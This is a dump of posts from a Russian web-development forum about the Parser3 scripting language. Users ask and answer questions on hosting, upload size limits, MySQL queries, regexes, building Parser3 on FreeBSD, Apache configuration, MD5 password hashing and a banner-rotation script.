"16586","http://www.parser.ru/forum/?id=2858 тут говорилось о \"плохо настроенном suexec\". админ хостинга просит уточнить что тут имеется ввиду..?"
"16587","Хотя... Есть один вариант :) Подготовь свой проект, так, чтоб на него можно было приятно посмотреть и предлагай всем знакомым и не знакомым хостерам предоставить тебе желаемое. Кто-нибудь наверняка заинтересуется.\
\
P.S. \"Человек создан для счастья, как птица для полёта...\"\
Гы!"
"16588","Выбрал в январе в качестве хостинга 350mb.ru (ЗАО \"Арбатек\"), тариф Linux Expo, 15$ в месяц.\
Но некоторое время назад были проблемы с доступом по HTTP. В ответ на запрос бр[а|о]узера, был белый лист. Это было как с самим сайтом, так и с Панелью Управления. А еще однажды, на хостинге без предупреждения обновили MySQL с 3.23 версии на 4.02. Ну и столбец CHECK(зарезервированный в 4-ой версии) положил сайт.\
\
На peterhost за те же 15, предлагают нечто большее - тариф Omega.\
Вот думаю: переходить или нет.\
\
Кто пользуется парсером на peterhost, подскажите, не было ли с установкой парсера проблем(на 350mb.ru не было). И еще, как там со скоростью, сопоставимо ли со скорость parser.ru(на 350mb.ru сопоставимо).\
\
И если можно, предоставьте, пожалуйста, ссылки на ресурсы, там размещенные.\
\
Огромное спасибо!"
"16589","Подскажите уважаемые монстры и гуру парсера, есть форма куда пользователь пишет путь к файлу у себя на диске (в примерах: Изменение размеров графических изображений внешними программами), так вот собственно вопрос могу ли я определить размер файла до того как он начнет ко мне заливаться или придеться принять на сервер а потом уже по нему получать ^file::stat[]? заранее спасибо за ответ. "
"16591","конечно надо сначала его загрузить, а потом делать измерения/проверки и т.д."
"16592","понятно, я в принципе так и думал, но может есть какая-нибудь фича ;) которую я в силу своей неопытности не знаю, спасибо за ответ"
"16594","Нет, можно побробнее?"
"16595","просто можно будет посмотреть на его размер без записи.\
\
я не думаю, что прервать POST данных на этапе прочтения $env:CONTENT_LENGTH парсером возможно..."
"16598","Так, теперь медленно и по русски для тормозов, я так понимаю определение длины происходит до того момента как начинается отправка на сервер?"
"16600","И так можно ли получить размер файла отправляемого методом POST из формы до момента как он начнет закачиваться на сервер?"
"16601","Вообще общение с клиентом это дело сервера, Parser начинает свою работу когда уже всё получено."
"16602","... вам нужно определить размер файла до передачи в оперативную память сервера или до записи этого файла на диск? \
\
Со вторым все просто - Пасер создает объект типа file и размер файла есть в поле file.size. А вот первый вариант с помощью Парсера скорее всего не пройдет."
"16603","До отправки на сервер, например решил мне какой-нибудь чудак сидящий на хорошей выделенке залить файл метров на 20... То есть мне надо определить размер до отправки на сервер и обезопаситься от таких ситуаций. На сколько я понимаю $env:CONTENT_LENGTH отдает размер всего что передаеться из формы (файлы, текст и т.д.) ДО ОТПРАВКИ ВСЕГО ЭТОГО ДЕЛА НА СЕРВЕР? "
"16604","Почему я писал уже тут, парсер запускается уже после загрузки всей инфы на сервер, отменить это дело может только сервер."
"16605","Понятно, а если каким-нибудь хитрым образом?"
"16606","У Вас хостинг на модемном канале? ... Ну прислал пользователь некий файл, мы увидили, что он нам по-размеру не подходит, тогда не пишем файл на диск и пользователю говорим, что он не прав..."
"16607","...если у парсера стоит ограничение памяти 16 мег, а посетитель попытается послать 20 мег, то он увидит что? ;)\
\
а так мы теоретически могли бы посмотреть, что хотят прислать туеву хучу не пойми чего, и не принимать это барахло, ругнувшись сразу.\
"
"16608","... честно предупредить пользователя об ограничении на размер данных и выставить Парсеру $.post_max_size() нужного размера."
"16609","В сторону ява-скрипт двигаться не хочеться потому что во-первых лениво после парсера закапываться в яву, во-вторых далеко не у всех она включена по умолчанию (скромно ковыряя ногой землю :) ). А вот второй вариант если можно подробнее, то был бы крайне признателен. Кстати у кого-нибудь была проблема с работой скрипта images.pl описанного в примерах по изменению размера изображения, к сожалению в перле я полный чайник :( "
"16610","если уж чистить, то удалять:\
1. все сообщения этого пользователя\
2. сообщения с матом (в общем конкретные сообщения)\
\
ни для первого ни для второго варианта UPDATE с LIMIT не подходит.\
\
кроме того, хотя ты и не говоришь, но подразумеваешь, что сообщения \"последние по времени\". тогда, чтобы все сделать по уму, надо всё таки добавить столбец с датой/временем, а затем... смотри мое предыдущее сообщение в этом топике.\
\
P.S. IMHO. ну не могу я придумать логичного применения конструкции UPDATE ... LIMIT"
"16611","... Ограничиваете объем пост данных до нужной величины. В случае превышения Парсер выкидывает исключение parser.runtime. Можно попробовать его поймать [как это делается есть в документации и в конфигурационном файле] и выдать пользователю осмысленное сообщение об ошибке."
"16612","Можно подробнее об этом моменте: \"Ограничиваете объем пост данных до нужной величины\" может я тормоз или невнимательно читал мануал нов се таки плиз..."
"16614","Нет какраз по уму так как делаю я и у миня есть стобик с датой. Сообщения выводяться только те у которых в столбце visibility стоит \"1\". Удалять сообщения ненада потомучто. Что будет архив сообщений в котором это все можно увидеть. \
\
И тут далее в продолжение темы. Есть такой запрос \
\
UPDATE `chat` SET `visibility`='0' WHERE `name`=\"$form.name\" limit 10\
\
Он отлично работает :)) но есть небольшой минус то что он изменяет первые 10 сообщений. А вот как сделать чтобы изменял последние 10 сообщений... По логике нада писать так.\
\
UPDATE `chat` SET `visibility`='0' WHERE `name`=\"$form.name\"  ORDER by `data` DESC limit 10\
\
Но выдаеться ошибка. Десколь нельзя так писать. Но дело в том что в моей книжке по мюскуелю написано что можно......может подскажишь в чем дело ?\
\
P.s. ответ типа \"читай лучше\" непринимаеться  :))\
\
"
"16615","Пожалуйста помогите, а то я что-то запутался, ничего не получается\
\
Есть данные такого вида\
http://..../...../...../1.txt\
http://..../...../...../2.txt\
http://..../...../...../1.doc\
http://..../...../...../2.doc\
http://..../...../...../5.txt\
\
Требуется выкинуть все строки, оканчивающиеся на doc\
Что ни делаю - удаляет всю базу"
"16616","обычно ошибка имеет какой-то код и какой-то комментарий...\
\
в принципе формат команды правильный, но я не знаю, в какой версии появился ORDER BY при UPDATE"
"16617","он выдает ошибку что команда записано неверно типа оредербюдата неверно.\
\
Лана обновимся. Хотя вот приподнял книженцию за 2001г. там есть в описании запроса упдате есть ордербю. :(??"
"16618","[code]\
#вообщим перебераем по строкам\
{\
#допустим конкретная строка храниться в переменной $rab\
\
^rab.match[\\Ahttp://.+/\\w\\.(\\w+)\\z][g]{\
^if($match.1 ne doc){\
#запиываем в какуюнить переменную\
}{\
#никуда ничего незаписываем\
}\
#Сохраняем то что назаписывали\
\
}}}\
[/code]\
\
Писал быстро на вскидку. Но вроде должно работать :))\
"
"16619","[code]\
# tab - таблица с данными\
# str - столбец с данными в этой таблице\
\
# в таблице new_tab окажется то, что нам нужно\
  $new_tab[^tab.select(^tab.str.right(4) ne \".doc\")]\
[/code]\
\
... и не надо никаких регулярных выражений..."
"16620","А без if нельзя?\
Мне достаточно просто выкинуть строки с окончанием doc (т.е. заменить их  на \\n, например)\
"
"16621","Спасибо, я приму к сведению такой метод\
Но меня интересует именно регулярное выражение. Может статься так, что парсером пользоваться возможности не будет, тогда я какую-нить прогу возьму"
"16622","Это очень просто реализуется на ЛЮБОМ языке. Не будет Парсера можно на C, Перле, Питоне, Паскале и пр..."
"16623","я думал, то в принципе, всё одно и то же с разлчиями"
"16625","в том, что есть база файлов. Её нужно обработать\
Из доступных программ есть например egrep\
"
"16626","[code]\
egrep -v -e ^.+\\(\\.doc\\)$ test.html\
[/code]\
\
Проверял под FreeBSD 4.6 ...\
"
"16628","Как от этого избавиться?"
"16629","http://spearance.tura.ru/parser3/regex/?no=10\
\
Если не прав пришлите мылом что еще добавить..."
"16630","Уважаемые монстры и гуру парсера, если кто пользуеться скриптом Images.pl поделитесь были какие-либо с ним проблемы, я взял и просто скопировал его из примера сохранил для юникса, так вот скрипт у меня не работает, вернее он отрабатывает но в каталоге где по идее должно быть уменьшеное изображение, ничего нет. :( Заранее спасибо за ответ.\
З.Ы. В перле ничего не понимаю :((("
"16633","	$f[^file::exec[/cgi-bin/images.pl;\
		$.stdin[]\
		$.CGI_DESTINATION_PATH[$destination_path]\
		$.CGI_SOURCE_PATH[$source_path]\
		$.CGI_IMAGE[$form:pict1.name]\
		$.CGI_X_SIZE[20]\
	]]\
	^if(!$f.status){Изменение размера завершено\
	$response:refresh[\
	$.value[0]\
	$.url[$request:uri]]}{Ошибка внешней программы $f.text}\
"
"16634","Perl берет пути от рута, а $source_path и $destination_path предполагалось что это будут пути от корня web-пространства...\
Поэтому лучше написать так...\
[code]\
$f[^file::exec[/../cgi-bin/images.pl;$.stdin[]\
	$.stdin[]\
	$.CGI_DESTINATION_PATH[${env:DOCUMENT_ROOT}$destination_path]\
	$.CGI_SOURCE_PATH[${env:DOCUMENT_ROOT}$source_path]\
		$.CGI_IMAGE[$form:pict1.name]\
		$.CGI_X[20]\
]]\
[/code]\
\
И еще проверьте путь к images.pl он должен быть от корня веб пространства и права на запуск скрипта."
"16635","Теперь пишет ошибку внешней программы. Если напрямую обратиться к скрипту из браузера то дает 500 ошибку, если по ssh запустить то он запускаеться и естественно дает ошибку что файл с изображением не найден..."
"16636","А у нас winegrep"
"16638","'hash' contains illegal assignment attempt of junction to <unknown> junction, use constructor  type: parser.runtime\
Не понял ошибки??? Это происходит только когда я пытаюсь вывести на экран содержимое переменной которая является текущей ячейкой в таблице.\
\
Т.е. у меня примерно такая таблица:\
hash - varchar(32)\
name - varchar(32)\
login - varchar(32)\
time - time\
\
$mytab[sec_cls::create[]]\
$view[^mytab.get_all[]]\
^view.menu{\
\
$view.hash<br>\
$view.name<br>\
$view.login<br>\
$view.time<br>\
\
}\
\
Все работает без $view.hash, а когда с ним выводит вышеупомянутую ошибку. Хочу заметить, что в этом поле лежит хэш-сесии вида.\
XSD110dklsdd, который создается путем \
$hash[^math:crypt[$mycode;^math:random(100)]]\
В консоли mysql все ровно, сама переменная передается, хочу вывести из таблицы и все хана."
"16639","Нет... все в одной!"
"16640","у парсерного объекта \"таблица\" есть метод hash (http://www.parser.ru/docs/lang/table2hash.htm)\
\
если невозможно изменить название столбца (что просто сделать в sql запросе hash AS hhhh) то можно обращаться к столбцу таблицы иначе:\
$view.fields.hash (http://www.parser.ru/docs/lang/tablehash.htm)"
"16641","Я вот попросил своего админа дать мне хостинг и теперь мой личный сайт крутится на корпоративном hp-шном четырёхпроцессорном сервере, нет никаких ограничений на загруженность и disk space (на диске 50Gb free, этого мне надолго хватит :-)). Может, в вашем случае можно найти сходный вариант?"
"16642","помогите!!!\
как мне в xsl написать такое:\
\
	[code]<input type=\"text\" color:required=\"true\" />[/code]\
\
пробовал так:\
\
	[code]\
	<input type=\"text\">\
		<xsl:attribute name=\"color:required\">true</xsl:attribute>\
	</input>\
	[/code]\
\
но обрезается сolor\
Thankz..."
"16643","Есть форма\
[code]\
<FORM METHOD=\"get\" ACTION=\"index.html\">\
<INPUT TYPE=\"file\" NAME=\"photo\" ENCTYPE\"MULTIPART/FORM-DATA\">\
<INPUT TYPE=\"submit\" NAME=\"submit\" VALUE=\"Послать данные\">\
</FORM>\
[/code]\
она пытается отправить файл на сервер\
но я никак не могу понять как сохранить файл с темже именем как у исходного.\
Как получить имя файла без пути.\
\
прошу помогите."
"16644","Только форму описать надо так:\
[code]\
<form method=\"post\" enctype=\"multipart/form-data\">\
<input type=\"file\" name=\"photo\">\
<input type=\"submit\">\
</form> \
[/code]\
\
Get'ом Вы файл не отправите..."
"16645","Спасибо работает"
"16646","http://www.parser.ru/forum/?id=16629"
"16648","Скажите, пожалуйста, как в этом форуме реализованна подкраска полужирным текущего сообщения?\
Я не придумал у себя ничего лучше, чем глобально передавать в объект класса message-id и там, в медоте вывода элемента дерева сравнивать id из таблицы из базы с гобальной id.\
На мой взгляд, это как-то кривовато — реализация получается распылена по нескольким файлам и методам, да и глобальная переменная..."
"16649","Большое Блин Спасибо! Кстати я подозревал интуитивно. Но пока плохо напамять знаю Парсер. "
"16650","при создании объекта форума инициализируется переменая объекта, в которой и живет эта id текущего сообщения.\
\
можно сказать, что она глобальная для данного объекта...\
\
по моему нормально. все в одном объекта (объект = данные + методы), все в одном файле."
"16651","Модуль (module.p3):\
[code]\
@auto[]\
$self.myVar[Some value...]\
[/code]\
Класс:\
[code]\
@CLASS\
myClass\
@init[]\
$self.myOtherVar[Some other value...]\
^use[module.p3]\
[/code]\
При инициализации класса переменная [b]$myVar[/b] внутри класса не определена, то же самое если в модуле использовать конструкцию [b]$caller.myVar[Some value...][/b], или [b]$caller.self.myVar[Some value...][/b]. Если же попробовать присвоить в модуле значение общей переменной ([b]$MAIN:myVar[Some value...][/b]), то всё получается, что в общем то, правильно.\
Вопрос такой: Можно ли в принципе сделать так, что переменные (поля, методы) определяемые внутри модуля, при подключении этого модуля изнутри класса, становились переменными (полями, методами) этого класса?"
"16653","Извините, что спрашиваю  это здесь\
[code]\
<table width=\"100%\" height=\"100%\">\
  <tr>\
    <td align=\"center\" height=\"100%\">center</td>\
  </tr>\
</table>\
[/code]\
Такая кострукция должна выводить фразу \"center\" посредине экрана +- сколько-то пикселов\
Почему же Опера 7 это делает сверху? это глюк такой у неё?\
\
Я долго думал, что это из-за парсера, но это точно не из-за него"
"16654","Оказывается, она не понимает высоту таблиц в %.\
Интересно, это исправят?"
"16655","а от лишних виндовских переводов строки избавился?\
"
"16657","удалил весь каталог, перекачал парсер заново, привожу лог сессии:\
[code]\
%./configure --prefix=/usr/local\
creating cache ./config.cache\
checking for a BSD compatible install... /usr/bin/install -c\
checking whether build environment is sane... yes\
checking whether make sets ${MAKE}... yes\
checking for working aclocal... found\
checking for working autoconf... found\
checking for working automake... found\
checking for working autoheader... found\
checking for working makeinfo... found\
checking host system type... i386-unknown-freebsd4.8\
checking for a BSD compatible install... /usr/bin/install -c\
checking whether make sets ${MAKE}... (cached) yes\
checking for ranlib... ranlib\
checking for mawk... no\
checking for gawk... no\
checking for nawk... nawk\
checking for bison... bison -y\
checking bison version... test: 75\
Written by Robert Corbett and Richard Stallman: bad number\
bison (GNU Bison) 1.75\
Written by Robert Corbett and Richard Stallman (ok)\
checking for gcc... gcc\
checking whether the C compiler (gcc  ) works... yes\
checking whether the C compiler (gcc  ) is a cross-compiler... no\
checking whether we are using GNU C... yes\
checking whether gcc accepts -g... yes\
checking for inline... inline\
checking for c++... c++\
checking whether the C++ compiler (c++  ) works... yes\
checking whether the C++ compiler (c++  ) is a cross-compiler... no\
checking whether we are using GNU C++... yes\
checking whether c++ accepts -g... yes\
configure: warning: enabling charset windows-1251\
checking for dynamic-link library extension... so\
checking for mysql client... /usr/local/lib/mysql/libmysqlclient.so\
checking for pgsql client... configure: warning: could not guess pgsql client\
checking for oracle client... configure: warning: could not guess oracle client\
checking for dlopen in -ldl... no\
checking for dlopen... yes\
checking for shl_load... no\
checking for shl_load in -ldld... no\
checking for dld_link in -ldld... no\
checking for dlerror... yes\
checking how to run the C++ preprocessor... c++ -E\
checking for ANSI C header files... yes\
checking for size_t... yes\
checking for off_t... yes\
checking for ssize_t... yes\
checking whether time.h and sys/time.h may both be included... yes\
checking for signal.h... yes\
checking for unistd.h... yes\
checking for process.h... no\
checking for stddef.h... yes\
checking for stdarg.h... yes\
checking for fcntl.h... yes\
checking for sys/stat.h... yes\
checking for io.h... no\
checking for stdio.h... yes\
checking for errno.h... yes\
checking for ctype.h... yes\
checking for math.h... yes\
checking for crypt.h... no\
checking for time.h... yes\
checking for sys/time.h... yes\
checking for stdlib.h... yes\
checking for string.h... yes\
checking for direct.h... no\
checking for setjmp.h... yes\
checking for memory.h... yes\
checking for new... yes\
checking for sys/file.h... yes\
checking for sys/locking.h... no\
checking for sys/types.h... yes\
checking for sys/select.h... yes\
checking for sys/resource.h... yes\
checking for winsock.h... no\
checking for sys/socket.h... yes\
checking for netinet/in.h... yes\
checking for arpa/inet.h... yes\
checking for netdb.h... yes\
checking for sin in -lm... yes\
checking for crypt in -lcrypt... yes\
checking for trunc... no\
checking for round... no\
checking for sign... no\
checking for flock... yes\
checking for _locking... no\
checking for fcntl... yes\
checking for lockf... yes\
checking for ftruncate... yes\
checking for getrusage... yes\
checking for gettimeofday... yes\
checking for crypt... yes\
checking for sigsetjmp... yes\
checking for siglongjmp... yes\
checking for qsort... yes\
checking for select... yes\
checking for timezone variable... no\
checking for daylight variable... no\
checking for tm_gmtoff in struct tm... yes\
checking for tm_tzadj in struct tm... no\
checking whether compiler supports pragma pack... yes\
checking for set_new_handler... yes\
updating cache ./config.cache\
creating ./config.status\
creating Makefile\
creating src/Makefile\
creating src/types/Makefile\
creating src/classes/Makefile\
creating src/classes/gd/Makefile\
creating src/classes/smtp/Makefile\
creating src/include/Makefile\
creating src/main/Makefile\
creating src/sql/Makefile\
creating src/lib/Makefile\
creating src/lib/ltdl/Makefile\
creating src/lib/pcre/Makefile\
creating src/lib/md5/Makefile\
creating src/lib/patches/Makefile\
creating src/targets/Makefile\
creating src/targets/cgi/Makefile\
creating src/targets/apache13/Makefile\
creating src/targets/apache13/hook/Makefile\
creating src/targets/apache13/p3runConfigure\
creating src/targets/isapi/Makefile\
creating etc/Makefile\
creating etc/parser3.charsets/Makefile\
creating bin/Makefile\
creating bin/auto.p.dist\
creating src/include/pa_config_auto.h\
configuring in src/lib/ltdl\
running /bin/sh ./configure  --prefix=/usr/local --enable-ltdl-convenience --cache-file=../../.././config.cache --srcdir=.\
loading cache ../../.././config.cache\
checking for a BSD compatible install... (cached) /usr/bin/install -c\
checking whether build environment is sane... yes\
checking whether make sets ${MAKE}... (cached) yes\
checking for working aclocal... found\
checking for working autoconf... found\
checking for working automake... found\
checking for working autoheader... found\
checking for working makeinfo... found\
checking whether to enable maintainer-specific portions of Makefiles... no\
checking for gcc... (cached) gcc\
checking whether the C compiler (gcc  ) works... yes\
checking whether the C compiler (gcc  ) is a cross-compiler... no\
checking whether we are using GNU C... (cached) yes\
checking whether gcc accepts -g... (cached) yes\
checking for working const... yes\
checking for inline... (cached) inline\
checking for ranlib... (cached) ranlib\
checking which extension is used for shared libraries...\
checking which variable specifies run-time library path...\
checking for objdir...\
checking how to run the C preprocessor... gcc -E\
checking for ANSI C header files... (cached) yes\
checking for malloc.h... no\
checking for memory.h... (cached) yes\
checking for stdlib.h... (cached) yes\
checking for stdio.h... (cached) yes\
checking for ctype.h... (cached) yes\
checking for dlfcn.h... yes\
checking for dl.h... no\
checking for dld.h... no\
checking for string.h... (cached) yes\
checking for strchr... yes\
checking for strrchr... yes\
checking whether libtool supports -dlopen/-dlpreopen... no\
checking for dlopen in -ldl... (cached) no\
checking for dlopen... (cached) yes\
checking for shl_load... (cached) no\
checking for shl_load in -ldld... (cached) no\
checking for dld_link in -ldld... (cached) no\
checking for dlerror... (cached) yes\
checking command to parse  output... -V: not found\
checking host system type... i386-unknown-freebsd4.8\
checking host system type... i386-unknown-freebsd4.8\
no\
checking for _ prefix in compiled symbols... no\
updating cache ../../.././config.cache\
creating ./config.status\
creating config_auto.h\
%make\
Making all in src\
Making all in include\
cd ../.. && automake --gnu src/include/Makefile\
cd ../..  && CONFIG_FILES=src/include/Makefile CONFIG_HEADERS= /bin/sh ./config.status\
creating src/include/Makefile\
cd ../..  && CONFIG_FILES= CONFIG_HEADERS=src/include/pa_config_auto.h  /bin/sh ./config.status\
creating src/include/pa_config_auto.h\
src/include/pa_config_auto.h is unchanged\
Making all in main\
\"Makefile\", line 233: Need an operator\
make: fatal errors encountered -- cannot continue\
*** Error code 1\
\
Stop in /usr/home/constant/parser3/parser3/src.\
*** Error code 1\
\
Stop in /usr/home/constant/parser3/parser3.\
%gmake\
cd . && aclocal\
cd . && automake --gnu Makefile\
Makefile.am:13: `#' comment at start of rule is unportable\
Makefile.am:14: `#' comment at start of rule is unportable\
Makefile.am:15: `#' comment at start of rule is unportable\
Makefile.am:16: `#' comment at start of rule is unportable\
Makefile.am:17: `#' comment at start of rule is unportable\
gmake: *** [Makefile.in] Error 1\
%uname -a\
FreeBSD cnst 4.8-RELEASE FreeBSD 4.8-RELEASE #16: Sun May 11 19:24:54 EDT 2003     constant@cnst:/usr/src/sys/compile/MYKERNEL  i386\
[/code]"
"16659","...заданную в процентах, даже если она задавалась стилями.\
\
но в версии 7.10 (и тем более в текущей 7.11) это уже исправлено."
"16660","<VirtualHost 212.164.48.15:*>                               \
  DocumentRoot /var/www/gallery/html                        \
  ServerName gallery                                        \
  ServerAlias www.gallery                                   \
  ScriptAlias \"/cgi-bin/\" \"/var/www/cgi-bin/gallery/\"       \
  <Directory \"var/www/cgi-bin/gallery\">                     \
  AllowOverride ALL                                         \
  Options ExecCGI                                           \
  </Directory>                                              \
  AddType parser3-handler html                              \
  Action parser3-handler /cgi-bin/parser3/parser3           \
  ErrorLog /var/log/apache/gallery-error.log                \
  CustomLog /var/log/apache/gallery-access.log common       \
  directoryIndex index.html                                 \
  ErrorDocument 404 /404.html                               \
</VirtualHost>                                              "
"16661","попробуйте\
[code]AddType parser3-handler html[/code]\
заменить на\
[code]AddHandler parser3-handler html[/code]\
\
"
"16662","Смысл вот в чем. Есть фунция на PHP, вот ее код -\
// MD5 Encryption\
function md5_hmac($data, $key)\
{\
	if (strlen($key) > 64)\
		$key = pack('H*', md5($key));\
	$key  = str_pad($key, 64, chr(0x00));\
\
	$k_ipad = $key ^ str_repeat(chr(0x36), 64);\
	$k_opad = $key ^ str_repeat(chr(0x5c), 64);\
\
	return md5($k_opad . pack('H*', md5($k_ipad . $data)));\
}\
\
Она шифрует пароли . Я хочу пользователей своего проекта авторизовать из этой же базы. Но ни как не могу понять, что за функция \"pack\" ? И возможно ли сделать обратную фунцию, т.е. из зашифрованного пароля сделать нормальный ?"
"16663","http://ru.php.net/manual/ru/function.pack.php - это в php,\
http://www.perldoc.com/perl5.8.0/pod/func/pack.html - это в перле\
\
парсер имеет встроенную функцию для работы с md5 шифрованием - см. http://www.parser.ru/docs/lang/mathcrypt.htm\
\
[quote]И возможно ли сделать обратную фунцию, т.е. из зашифрованного пароля сделать нормальный?[/quote] Нельзя. MD5-преобразование - это преобразование \"в один конец\" - для любой произвольной строки, обработанной по ключу (salt) будет выведен её уникальный \"отпечаток пальца\". Это разумно - хранить не сами пароли открытым текстом в базе, а их \"отпечатки\", по которым восстановить пароль стибривший твою базу не сможет. Ты же должен получить md5 отпечаток введённого посетителем пароля и сравнить его с тем, что в базе, для того, чтобы знать - можно ли его пускать или нет.\
\
"
"16664","http://www.ssh.fi/support/cryptography/algorithms/hash.html"
"16665","Т.е. получается, что \"вспомнить\" пароль для пользователя нет возможности ? Надо только его менять ?"
"16666","А возможно ли с помощью встроенной функии ^math:crypt[password;salt]  получить тот же результат, что и в моей функции ?"
"16668","Несколько раз ставил парсер, а тут при установке вылезла ошибка:\
You don't have permission to access /cgi-bin/parser3.cgi/index.html on this server.\
Пермишены для cgi-bin и parser3.cgi - 755.\
Может проблема в переноске в режиме binary? А как перенести файлы через фар в этом режиме?\
Спасибо"
"16669","Я разобрался как узнавать различные параметры файла парсером (размер, ширину, высоту картинки и т.д.). Возник вопрос:\
\
Можно ли это всё узнать на стороне клиента\
\
Суть в чём, я создал страницу, на которую  javascriptом подгружается много-много картинок разного размера (в память). Нужно именно так,  не хочу, чтобы было много обращений к  серверу\
\
После этого я их все начинаю перебирать (что-то вроде фотоальбома). при этом в зависимости от реальной высоты картинки меняется тот размер,  который я прописываю в тэгэ img\
\
как бы  узнать высоту картинки?"
"16670","помоему совершенно нпривальный подход. помоему нада так\
\
ku4a_kartinok.menu{\
<img src=\"ku4a_kartinok.url\" height=\"ku4a_kartinok.hieght\" width=\"ku4a_kartinok.width\">\
}\
\
Вот и все......а про джаваскрипт в реализции таких задача вообще забудь"
"16671","[code]\
$picture[^image::measure[имя файла]]\
$picture.height\
[/code]\
\
А подход который вы описали не эффективен. Сам создавал галерею, поэтому с уверенностью могу сказать, что все параметры, включая размер превью: x, y, размер большой картинки: x, y и т.д. должны храниться в базе (на крайний случай в таблице). И нет смысла проверять размер картинки каждый раз с помощью указанной выше процедуры - это пустое использование процессорного времени.\
Лучше опишите подробно задачу и участники форума подскажут вам более правильное решение в ее реализации."
"16672","Помогите,пож,найти скрипт типа баннерокрутилки.только с возможностью добавления баннеров баннерообменных сетей"
"16674","Когда давно писал. Можно ограничивать по времени, по показам. А также процентый показ среди показываемых...........ой загнул :))\
\
[code]\
@baner_visibility[tip]\
		^connect[$config.mysql_connect]{\
		$baner[^table::sql{SELECT `id`, `dop_tip`, `proz`, `kolvo_pokaz`, `opisanie`, `date_dobav`, `max_pokaz`, `max_data`, `visibility` FROM `baner` WHERE `tip`='$tip'}]}\
		$baner_prov[^table::create{id	dop_tip	proz	kolvo_pokaz	opisanie	date_dobav	max_pokaz	max_data}] \
\
		^baner.menu{\
		^if($baner.visibility eq 1){\
			^if($baner.dop_tip eq 3){\
					^baner_prov.append{$baner.id	$baner.dop_tip	$baner.proz	$baner.kolvo_pokaz	$baner.opisanie	$baner.date_dobav	$baner.max_pokaz	$baner.max_data}\
			}\
			^if($baner.dop_tip eq 2){\
					^if($baner.kolvo_pokaz >= $baner.max_pokaz){\
					}{	^baner_prov.append{$baner.id	$baner.dop_tip	$baner.proz	$baner.kolvo_pokaz	$baner.opisanie	$baner.date_dobav	$baner.max_pokaz	$baner.max_data}}\
			}\
			^if($baner.dop_tip eq 1){\
					$datatime[^date::create[^date.sql-string[]]] \
					$max_data[^date::create[$baner.max_data]] \
					^if($datatime >= $max_data){\
					}{^baner_prov.append{$baner.id	$baner.dop_tip	$baner.proz	$baner.kolvo_pokaz	$baner.opisanie	$baner.date_dobav	$baner.max_pokaz	$baner.max_data}}\
			}		\
		}}\
		\
		\
^if(def $baner_prov){\
	\
	$baner_zam[^table::load[/tmp/zamena_baner.cfg]]\
			\
	^if(^baner_prov.count[] eq 1){\
		$rab[$baner_prov.opisanie]\
		^mysql[UPDATE `baner` SET `kolvo_pokaz`='^eval($baner_prov.kolvo_pokaz+1)' WHERE `id`='$baner_prov.id']	\
		^process{^rab.replace[$baner_zam]}\
	}{\
	\
		^baner_prov.menu{$rab[$baner_prov.id]	$ban$rab(0)}\
		\
		$baner_cfg[^table::load[/tmp/baner.cfg]]\
		^baner_cfg.menu{$rab[$baner_cfg.id]\
											$rab2($ban$rab)\
											$ban$rab(^eval($rab2+1))\
		}\
		\
		$baner_pokaz[^table::create{id	pokaz	max_pokaz}] \
		^baner_prov.menu{$rab[$baner_prov.id]\
												^baner_pokaz.append{$baner_prov.id	$ban$rab	$baner_prov.proz}\
		}\
		\
		$baner_prov2[^table::create{id	dop_tip	proz	kolvo_pokaz	opisanie	date_dobav	max_pokaz	max_data}] \
		^baner_pokaz.menu{\
			^if($baner_pokaz.pokaz <	$baner_pokaz.max_pokaz){\
				^baner_prov.menu{^if($baner_prov.id eq $baner_pokaz.id){^baner_prov2.append{$baner_prov.id	$baner_prov.dop_tip	$baner_prov.proz	$baner_prov.kolvo_pokaz	$baner_prov.opisanie	$baner_prov.date_dobav	$baner_prov.max_pokaz	$baner_prov.max_data}}}\
				\
			}		\
		}\
		\
		^switch[^baner_prov2.count[]]{ \
	    ^case[0]{\
			$baner_cfg_new[^table::create{id}]\
			^baner_cfg.menu{\
				$rab(0)\
				^baner_prov.menu{\
					^if($baner_prov.id ne $baner_cfg.id){$rab(^eval($rab+1))}\
					^if($rab == ^baner_prov.count[]){^baner_cfg_new.append{$baner_cfg.id}}																\
				}						\
			}\
			$cm(^math:random(^baner_prov.count[]))\
			^baner_prov.offset[set]($cm) \
			$rab[$baner_prov.opisanie]\
			^mysql[UPDATE `baner` SET `kolvo_pokaz`='^eval($baner_prov.kolvo_pokaz+1)' WHERE `id`='$baner_prov.id']	\
			^process{^rab.replace[$baner_zam]}\
			^baner_cfg_new.append{$baner_prov.id}\
			^baner_cfg_new.save[/tmp/baner.cfg]											\
		}\
  	    ^case[1]{\
			$rab[$baner_prov2.opisanie]\
			^mysql[UPDATE `baner` SET `kolvo_pokaz`='^eval($baner_prov.kolvo_pokaz+1)' WHERE `id`='$baner_prov.id']	\
			^process{^rab.replace[$baner_zam]}\
			^baner_cfg.append{$baner_prov2.id}\
			^baner_cfg.save[/tmp/baner.cfg]\
					\
		} \
        ^case[DEFAULT]{\
		$cm(^math:random(^baner_prov2.count[]))\
		^baner_prov2.offset[set]($cm) \
			$rab[$baner_prov2.opisanie]\
			^mysql[UPDATE `baner` SET `kolvo_pokaz`='^eval($baner_prov2.kolvo_pokaz+1)' WHERE `id`='$baner_prov2.id']	\
			^process{^rab.replace[$baner_zam]}\
			^baner_cfg.append{$baner_prov2.id}\
			^baner_cfg.save[/tmp/baner.cfg]				\
		} \
}				\
	}	\
}\
\
\
\
[/code]\
\
Да ище там было три места для показов банеров какраз перемнная $tip показывало что за место"
"16676","я уже неоднократно писал, не хотите пользоваться поиском :)\
[code]\
unzip\
touch *\
./configure\
gmake\
[/code]\
"
"16677","там какие-то перетрубации с xor, которых в parser сейчас сделать толком нельзя."
"16678","я не смогу воспользоваться базой пользователей своей конференции, и проще сделать отдельную авторизацию для моего поекта ? \
А как было бы удобно - зарегистрировался в конфе и получаешь доступ к другому разделу .... Или может попытаться упростить метод шифровки конфы, чтобы он был таким же, как ^math:crypt[password;salt]  ? Как вы думаете ?"
"16679","Без использования БД. Вся информация берётся из таблицы. Существует возможность разграничения по-группам (для разных размеров, мест расположения на странице...). Ограничение только по количеству баннеропоказов. По исчерпанию баннеропоказов показывается баннер по-умолчанию...\
[code]\
@show[bid;bgroup;counter]\
#######\
####Содержит все записи из banner.cfg.\
$all[^table::load[/banner.cfg]]\
\
#######\
####Содержит записи, соответствующие группе. \
$bygroup[^all.select($all.group_id==$bgroup)]\
\
#######\
####Содержит записи, лимит которых не исчерпан.\
$bylimit[^all.select($all.showed < $all.limit)]\
\
#######\
####Содержит записи, соответствующие группе, лимит которых не исчерпан.\
$bygrouplimit[^all.select($all.group_id==$bgroup && $all.showed < $all.limit)]\
\
